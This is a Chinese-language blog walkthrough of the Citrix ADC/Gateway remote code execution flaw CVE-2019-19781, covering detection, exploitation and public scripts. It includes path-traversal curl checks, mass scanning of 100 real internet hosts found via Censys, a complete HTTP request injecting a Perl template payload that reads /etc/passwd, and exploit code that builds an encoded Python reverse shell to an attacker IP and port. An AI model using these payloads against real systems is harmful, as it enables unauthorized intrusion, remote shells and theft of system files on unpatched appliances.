CVE-2019-19781 通关

漏洞名称

Citrix Gateway/ADC 远程代码执行漏洞

影响范围:

Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0

手工检测:

如果你看到类似如下界面,注:版本差异界面有好多种,本处仅以新版本Citrix Gateway界面为例:

我们可以如下测试,返回body体中的内容(响应状态码为200),可判定存在利用风险,但并不是绝对的,这只能说没打补丁,但漏洞的修复方案打补丁只是其中之一,我们后面讲。

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
#response
[global]
        encrypt passwords = yes
        name resolve order = lmhosts wins host bcast

在实际测试中,肯定要面对https证书等问题,如果目标不存在漏洞上述测试语句是没有回显的,可以借助I参数返回响应头(i返回headers+body ),如下403说明已通过补丁修复,当然还会有各种自定义修复方案造成的其他回显在此不做讨论。

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is -k -I
#response
HTTP/1.1 403 Forbidden
脚本检测

关于上述原理的脚本检测我们可以参见trustedsec提供的脚本,多说一句,不知道大家对这个团队名称是否敏感,如果提社会工程学工具包social-engineer-toolkit(SEToolkit)你一定不陌生,之前钓鱼系列文章一直有在用,正是该团队的手笔。

https://github.com/trustedsec/cve-2019-19781

# if the system is still vulnerable
if ("[global]") in str(req.content) and ("encrypt passwords") in str(req.content) and (
"name resolve order") in str(req.content):  # each smb.conf will contain a [global] variable
    print("[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781." % (target))
    vulnServers.append(target)
    return 1

# if the system responds with a Citrix message (fixed) or a 403 (fixed)
elif ("Citrix") in str(req.content) or "403" in str(req.status_code):  # only seen if system is not vulnerable
    print(
        "[\033[92m*\033[0m] Server: %s responded with a 403. If this is a Citrix Server, it is not vulnerable. Awesome!" % (
            target))

# if we run into something other than Citrix
else:
    if verbose == True: print("[-] Server %s does not appear to be a Citrix server." % (target))
    pass

我们可以看到其核心检测代码正是我们手工检测的原理,403直接判定安全,其他情况判定为非Citrix server。
此外,该脚本检测支持ASN、CIDR、文件输入等检测方式,我们借助AssetsHunter从国外随机抓取了100个Citrix Gateway站点:

python AssetsHunter.py -censys "443.https.get.title: Citrix Gateway"

配合cve-2019-19781_scanner效果如下,5%的风险项,但我们刚刚提到了,有风险并不代表可利用,这里仅作风险评估统计,漏洞利用依然以本地形式复现。

python cve-2019-19781_scanner.py file:Censys_ip_result_1588752983.rabbit 443
#result
Finished testing 100 servers: Found 5 to be vulnerable
手工利用

首先分享下我的翻车,国内的相关资料利用点都放在了desc参数上,类似payload如下,因为对perl语言并不擅长,所以没有更多的关注代码层。然而虽然各位大佬都完美回显了,我自闭了两天。。。

url=http://example.com&title=jk666&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

沉下心来看了看斗象TCC小胖虎大佬的漏洞分析。

https://www.freebuf.com/news/232752.html

最终尝试把漏洞利用参数放到了title参数,才勉强成功。/哭
这里给出自己的修改后利用方案,如果翻车别打我,保证没挖坑。。。

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
NSC_USER: ../../../netscaler/portal/templates/jk666
NSC_NONCE:nsroot
Content-Length: 96

url=127.0.0.1&title=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]&desc=desc&UI_inuse=a

我们刚刚说过了,有风险不一定可利用,如newbm.bl被删除或被重命名,实战中确实也遇到了404的情况,此外,上传成功的body体如下:

HTTP/1.1 200 OK






然而经常会遇到无回显的情况,可参考小胖虎大佬的文章尝试其它利用点,只是漏洞利用需要将poc写入文件名, 可能会受到特殊字符影响,总体不如newbm.pl。

GET /vpn/../vpns/portal/jk666.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
NSC_USER:nsroot
NSC_NONCE:nsroot

访问构造好的文件,成功完成二次回显:

脚本利用
  • 1、还有在使用py2的小伙伴可以参考少宇大佬的脚本:

https://github.com/jas502n/CVE-2019-19781

emmmmm,怎么说,我承认我翻车了,因为我的利用环境按照国内的思路手工测试并没有复现成功,而少宇大佬的脚本也是借助该思路完成的,不排除实验对象单一造成的意外,在此不做讨论,大家自行选择。

  • 2、刚刚提到的trustedsec脚本中提供了exp脚本:citrixmash.py
    python3 citrixmash.py
    text = ("""/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport))
    while i < len(text):
        encoded = encoded + "chr("+str(ord(text[i]))+") . "
        i += 1
    encoded = encoded[:-3]
    payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]"

其原理是在payload中预装了一个python拉起的反弹shell,直接开启nc监听使用即可。

  • 3、印度零组(个人很看好的一个团队)的bash脚本

https://github.com/projectzeroindia/CVE-2019-19781

话说,国外的习惯都是从title参数插payload的说,而且该脚本提供了自定义命令入口,阿三牛批~

你可能感兴趣的:(CVE-2019-19781 通关)